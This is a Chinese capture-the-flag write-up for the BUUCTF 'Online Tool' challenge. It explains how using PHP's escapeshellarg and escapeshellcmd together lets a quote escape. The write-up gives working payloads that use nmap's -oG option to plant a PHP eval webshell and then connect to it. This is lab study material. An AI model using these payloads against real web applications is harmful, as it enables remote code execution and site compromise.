[BUUCTF 2018]Online Tool (escapeshellarg和escapeshellcmd双写绕过单引号)
思路
打开页面是一段php代码,开始代码审计:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
//X_Forwarded_For和Remote_Addr没啥问题
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
//百度了一下escapeshellarg和escapeshellcmd双写可以利用单引号的转义绕过限制
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
//利用-oG参数,将命令和命令执行结果写入到指定文件中,这里可以指定php文件,上传一句话木马
}
两个函数的功能:
string escapeshellarg ( string $arg )
把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
string escapeshellcmd ( string $command )
shell 元字符转义
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义;反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;’ 和 " 仅在不配对儿的时候被转义;在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
举个栗子:
1、输入:$host=' <?php @eval($_POST["cmd"]);?> -oG attack.php '
2、escapeshellarg(host):$host=''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\'''
首先会使用转义符\
对单引号'
进行转义'\''
,并在字符串两端加上单引号''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
3、escapeshellcmd(host):$host=''\\'' \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG attack.php '\\'''
对于上文包含的特殊符前会插入反斜杠进行转义,另外在不成对的单引号和双引号前也会插入反斜杠进行转义,此处单引号均成对儿无需转义。
4、最后\\
解释为\
而非转义符,所以后面的单引号''
成了空白连接符,一句话木马中的反斜杠均为转义字符,最后同为非转义字符,形成连接符。简化为:''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\'''
5、带入到system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
为nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\'''
6、利用nmap -oG 参数将命令语句和执行结果存储到attack.php
文件中,这样一句话木马就以php文件格式上传到目录上。
7、最后根据回显文件名利用蚁剑完成连接获取flag。
对比:
正确playload:
' <?php @eval($_POST["hack"]);?> -oG hack.php '
''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
''\\'' <\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php '\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
错误playload:
<?php @eval($_POST["cmd"]);?> -oG yjh.php
'<?php @eval($_POST["cmd"]);?> -oG yjh.php'
'\<\?php @eval\(\$_POST\["cmd"\]\)\;\?\> -oG yjh.php'
nmap -T5 -sT -Pn --host-timeout 2 -F '<?php @eval($_POST["cmd"]);?> -oG yjh.php'
总结:
1、考察利用escapeshellarg 和escapeshellcmd函数双写绕过'
。
2、利用nmap -oG 参数将一句话木马上传到站点目录。
参考
[1]: https://paper.seebug.org/164/